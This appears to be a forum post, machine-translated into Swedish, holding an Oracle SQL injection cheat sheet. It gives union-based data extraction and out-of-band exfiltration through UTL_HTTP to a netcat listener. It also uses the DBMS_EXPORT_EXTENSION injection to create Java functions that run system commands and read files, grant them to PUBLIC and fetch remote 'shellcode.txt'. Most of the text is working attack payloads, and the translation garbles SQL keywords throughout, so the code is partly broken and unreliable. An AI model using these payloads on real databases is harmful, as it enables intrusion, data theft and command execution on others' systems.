Detta inlägg redigerades senast av test 2015-1-24 13:01
Kommentar: -- Flera meningar utförs inte, och federerade frågor stöds Databasnamn, tabellnamn och kolumnnamn skrivs alla med stor versal.
längd(fält) ascii(substr(fält, N, 1))
och (välj antal(*) från dual)>0 -- Bestäm om det är orakel eller inte
ordning efter n--
och 1=2 union välj null, null,.....,null från dual-- ersätt null med N eller 'N'
och 1=2 union select null, (sql-sats) ,.....,noll från dual -- byt till (sql-sats) vid 'N'
och (välj antal(*) från all_objects där object_name='UTL_HTTP')>0 -- Bestäm om UTL_HTTP stöds (export-IP:n är känd)
och UTL_HTTP.request('http://LocalIP:port'|| (SQL-sats)) =1-- Skicka meddelanden på distans till lokal, lokal lyssning nc -vv -l -p 1234
SQL-satser Välj banner från sys.v_$version där rownum=1 för att fråga orakelversionen Välj medlem från v$logfile där rownum=1 Sök loggfilens väg (Windows eller Linux) Välj utl_inaddr.get_host_address från dual för att söka databasens lyssnings-IP Välj instance_name från v$instance för att fråga sid:en Välj namn från v$database Sök i det aktuella databasnamnet Välj sys_context ('Userenv','current_user') bland Dual Query-databasanvändare Välj * från session_roles där rownum=1 för att fråga de aktuella användarbehörigheterna Välj * från session_roles där rownum=1 [och roll<>'första tillståndsnamn']
välj table_name från user_tables där rownum=1 Det första tabellsegmentet i den aktuella databasen välj table_name||','|| tablespace_name från user_tables där rownum=1 Första tabellsegmentet, databas (för verifiering kanske det inte är v$database) Välj table_name från user_tables där rownum=1 och table_name<>'första tabellsegmentet' Det andra tabellsegmentet i den aktuella databasen
Välj column_name från user_tab_columns där rownum=1 och table_name='Tabellsegment' Det första fältet som motsvarar tabellnamnet Välj column_name från user_tab_columns där rownum=1 och table_name='Tabellsegment' och column_name<>'Första fältet' Det andra fältet som motsvarar tabellnamnet
Välj fält från tabellsegment där rownum=1 bryter mot första radens innehåll Välj fält från tabellsegment där rownum=1 och fält <> 'första radens innehåll' exponerar andra radens innehåll
Tvärbiblioteksöverskridande Välj ägare från all_tables där rownum=1 frågar det första databasnamnet välj ägare från all_tables där rownum=1 och ägare<> 'Första databasnamn' för att söka efter det andra databasnamnet
Välj table_name från all_tables där rownum=1 och owner='databasnamn' Sök efter den första tabellens namn i motsvarande databas Välj table_name från all_tables där rownum=1 och owner='databasnamn' och table_name<>'första tabellnamn' för att söka efter det andra tabellnamnet i motsvarande databas
Välj column_name från all_tab_columns där rownum=1 och owner='databasnamn' och table_name='tabellsegment' Det första fältet som motsvarar tabellnamnet Välj column_name från all_tab_columns där rownum=1 och owner='databasnamn' och table_name='tabellsegment' och column_name<>'första fältet' Det andra fältet som motsvarar tabellnamnet
Välj fält från databasen. tabellsegment där rownum=1 bryter mot innehållet i första raden Välj fält från databasen. Tabellsegmentet där rownum=1 och fältet <> 'Första radens innehåll' bryter mot innehållet i andra raden
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); fler-uttalande END; --','SYS',0,'1',0)--
Om 'is escaped, chr() används.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES(chr(70)|| chr(79)|| chr(79),chr(66)|| chr(65)|| chr(82), chr(68)|| chr(66)|| chr(77)|| chr(83)|| chr(95)|| chr(79)|| chr(85)|| chr(84)|| chr(80)|| chr(85)|| chr(84)|| chr(34)|| chr(46)|| chr(80)|| chr(85)|| chr(84)|| chr(40)|| chr(58)|| chr(80)|| chr(49)|| chr(41)|| chr(59)|| Multi-statement || chr(69)|| chr(78)|| chr(68)|| chr(59)|| chr(45)|| chr(45),chr(83)|| chr(89)|| chr(83),0,chr(49),0)=0--
Om flera meningar är för långa kan du skriva uttalandet till webbplatsfilen och använda utl_http.request för att hämta det.
SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); utl_http.request('http://www.guetsec.com/shellcode.txt'); --','SYS',0,'1',0)--
Skapa ett JAVA-paket SecTest runCMD används för att utföra systemkommandon och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART'' FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' skapa eller ersätt och kompilera en javakällkod med namnet "SecTest" som import java.io.*; publik klass SecTest utvidgar Object{public static String runCMD(String args){try{BufferedReader myReader=new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args) .getInputStream())); String stemp,str=""; mens((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Återvänd styrka; }catch(Exception e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
readFile används för att läsa filen och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART'' FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE'''' skapa eller ersätt och kompilera en javakällkod med namnet "SecTest" som import java.io.*; publik klass SecTest utvidgar Object{public static String readFile(String filename){try{BufferedReader myReader=new BufferedReader(new FileReader(filename)); String stemp,str=""; mens((stemp=myReader.readLine())!=null) str+=stemp+"\n"; myReader.close(); Återvänd styrka; }catch(Exception e){return e.toString(); }}}''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
Ger Java-behörigheter och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBART '''' börja dbms_java.grant_permission(''''''''PUBLIC'''''''',''''''''SYS:java.io.FilePermission'''''''',''''''''<<ALLA FILER>>'''''''',''''''''utför''''''''); slut; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
Skapa en funktion SecRunCMD-funktionen och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''', skapa eller ersätt funktionen SecRunCMD(p_cmd i varchar2) returnera varchar2 som språkets java-namn''''''''SecTest.runCMD(java.lang.String) returnera String'''''''' ; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
SecReadFile-funktionen och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBART '''''funktionen skapa eller ersätta SecReadFile(filnamn i varchar2) returnera varchar2 som språkets java-namn''''''''SecTest.readFile(java.lang.String) returnera String' '''''''; ''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
Bevilja tillstånd att utföra den offentliga funktionen SecRunCMD har beviljats behörigheter och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA UTFÖRA OMEDELBART ''''ge allt på SecRunCMD till allmänheten''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
SecReadFile och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA UTFÖRA OMEDELBART '''''ge allt på SecReadFile till allmänheten''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)--
Detekterar om funktionen skapades framgångsrikt och (välj räkning(*) från all_objects där object_name='SECRUNCMD')>0-- och (välj antal(*) från all_objects där object_name='SECREADFILE')>0--
Utför kommandot och '1'<>(välj sys. SecRunCMD('Execute-kommando') från dual)-- och '1'<>(välj sys. SecReadFile('filens fysiska adress') från dual)-- eller och 1=2 union select null,...,sys. SecRunCMD('execute command'),...,null från dual-- och 1=2 union select null,...,sys. SecReadFile('fil fysisk adress'),...,null från dual-- eller och '1'<>(välj UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecRunCMD('Utför kommando'),' ',' '),'\n',' ')) från dual)-- och '1'<>(välj UTL_HTTP.request('http://LocalIP:port'|| REPLACE(REPLACE(sys. SecReadFile('File Physical Address'),' ',' ','\n', ' ')) från dual)--
Ta bort funktionen och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BÖRJA KÖRA OMEDELBAR '''''drop-funktion SecRunCMD''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)-- och '1'<>'a'|| (välj SYS. DBMS_EXPORT_EXTENSION. GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT'". PUT(:P 1); UTFÖR OMEDELBART ''FÖRKLARA PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE '''''drop function SecReadFile''''; SLUT; ''; SLUT; --','SYS',0,'1',0) från dual)-- |